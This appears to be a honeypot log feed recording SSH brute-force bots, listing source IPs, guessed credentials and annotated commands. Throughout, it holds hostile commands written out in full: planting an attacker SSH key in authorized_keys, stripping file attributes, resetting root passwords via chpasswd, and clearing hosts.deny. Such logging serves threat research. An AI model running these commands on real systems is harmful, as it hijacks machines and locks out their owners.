$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 ghost_root_51 (217.154.186.165) β€” Madrid, Spain Β· 1 session Β· 1 cmd
2026-04-19 02:18 EDT Β· as oracle/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 lantern_root_10 (47.94.4.180) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-19 00:59 EDT Β· as oracle/oracle@1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 silk_root_10 (182.92.7.159) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-19 00:54 EDT Β· as oracle/Oracle@123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 wok_root_15 (121.229.27.155) β€” Hangzhou, China Β· 1 session Β· 2 cmds
2026-04-18 21:44 EDT Β· as oracle/testoracle
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 blitz_sol_2 (159.65.115.83) β€” Frankfurt am Main, Germany Β· 2 sessions Β· 2 cmds
2026-04-18 21:30 EDT Β· as sol/sol, solana/solana
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—2
↳ obfuscated system check
🎭 tea_root_6 (196.199.40.4) β€” City of London, United Kingdom Β· 1 session Β· 2 cmds
2026-04-18 21:20 EDT Β· as oracle/oracle8
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 ghost_root_24 (185.113.139.51) β€” Riga, Latvia Β· 2 sessions Β· 4 cmds
2026-04-04 20:13 EDT Β· as oracle/11111111, oracle/Welcome1
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 moose_root_4 (23.111.75.127) β€” Vancouver, Canada Β· 1 session Β· 19 cmds
2026-04-18 17:42 EDT Β· as root/123qweasdZXC
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:s3Ceh3C01LMl"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 panda_root_6 (117.50.213.145) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-18 12:31 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 dragon_db_2 (180.184.82.249) β€” Haidian, China Β· 1 session Β· 2 cmds
2026-04-18 11:37 EDT Β· as oracle/oracle5
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cipher_root_43 (187.212.38.18) β€” Puebla City, Mexico Β· 1 session Β· 19 cmds
2026-04-18 11:06 EDT Β· as root/toor
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:K1WRxDTdYKXy"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 seoul_root_2 (121.168.139.251) β€” Suwon, South Korea Β· 1 session Β· 2 cmds
2026-04-18 09:36 EDT Β· as oracle/Bmw_20!_^
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cipher_root_44 (103.226.139.207) β€” Cicurug, Indonesia Β· 2 sessions Β· 40 cmds
2026-04-18 09:07 EDT Β· as deploy/deploy, oracle/oracle19!
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv..." β†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l Γ—2
↳ CPU profiling
$ echo -e "deploy\nRErWW1hFCeDY\nRErWW1hFCeDY"|passwd|bash
$ Enter new UNIX password: Γ—2
$ echo "deploy\nRErWW1hFCeDY\nRErWW1hFCeDY\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' Γ—2
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' Γ—2
$ ls -lh $(which ls) Γ—2
$ which ls Γ—2
$ crontab -l Γ—2
↳ persistence setup
$ w Γ—2
↳ logged-in users check
$ uname -m Γ—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l Γ—2
↳ CPU profiling
$ top Γ—2
↳ process monitoring
$ uname Γ—2
↳ OS identification
$ uname -a Γ—2
↳ OS/kernel identification
$ whoami Γ—2
↳ privilege check
$ lscpu | grep Model Γ—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' Γ—2
$ echo -e "oracle19!\n5HnSQzahuH7q\n5HnSQzahuH7q"|passwd|bash
$ echo "oracle19!\n5HnSQzahuH7q\n5HnSQzahuH7q\n"|passwd
🎭 wraith_root_16 (165.154.6.26) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-18 09:22 EDT Β· as oracle/Bmw_20!_^
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cipher_root_32 (103.161.170.12) β€” Hanoi, Vietnam Β· 1 session Β· 2 cmds
2026-04-18 09:08 EDT Β· as oracle/Bmw_20!_^
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 silk_root_11 (59.36.75.227) β€” Shenzhen, China Β· 1 session Β· 20 cmds
2026-04-18 08:58 EDT Β· as deploy/deploy123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "deploy123\nWEfZAz9kIxLj\nWEfZAz9kIxLj"|passwd|bash
$ Enter new UNIX password:
$ echo "deploy123\nWEfZAz9kIxLj\nWEfZAz9kIxLj\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 wok_root_16 (182.92.94.183) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-18 06:11 EDT Β· as admin/admin
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 rogue_root_34 (102.208.216.221) β€” Johannesburg, South Africa Β· 1 session Β· 19 cmds
2026-04-18 05:54 EDT Β· as root/admin123
cd ~; chattr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "root:Gwm5bzEsnlwU"|chpasswd|bash β†’ pkill -9 secure.sh; pkill -9 auth.sh β†’ cat /proc/cpuinfo | grep name | wc -l β†’ cat /proc/cpuinfo | grep model | grep name |
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:Gwm5bzEsnlwU"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 moose_root_5 (159.203.2.155) β€” Toronto, Canada Β· 1 session Β· 2 cmds
2026-04-18 05:49 EDT Β· as oracle/oracle22!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 eagle_root_5 (70.114.116.180) β€” Hutto, United States Β· 1 session Β· 19 cmds
2026-04-18 05:26 EDT Β· as root/admin123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:TiOFuCk31LIr"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 hanbok_sol (14.63.196.175) β€” Seongnam-si, South Korea Β· 2 sessions Β· 22 cmds
2026-04-16 04:49 EDT Β· as eth/eth, oracle/oracle!@#$
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "eth\nmttfFj7YZZQW\nmttfFj7YZZQW"|passwd|bash
$ Enter new UNIX password:
$ echo "eth\nmttfFj7YZZQW\nmttfFj7YZZQW\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 panda_root_7 (14.103.117.81) β€” Beijing, China Β· 1 session Β· 20 cmds
2026-04-18 02:43 EDT Β· as oracle/Oracle05!
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" β†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "Oracle05!\nF0UaVyrCDB0U\nF0UaVyrCDB0U"|passwd|bash
$ Enter new UNIX password:
$ echo "Oracle05!\nF0UaVyrCDB0U\nF0UaVyrCDB0U\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 capoeira_root (189.8.5.118) β€” SΓ£o Paulo, Brazil Β· 2 sessions Β· 22 cmds
2026-04-15 06:44 EDT Β· as oracle/oracle19, ubuntu/password
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
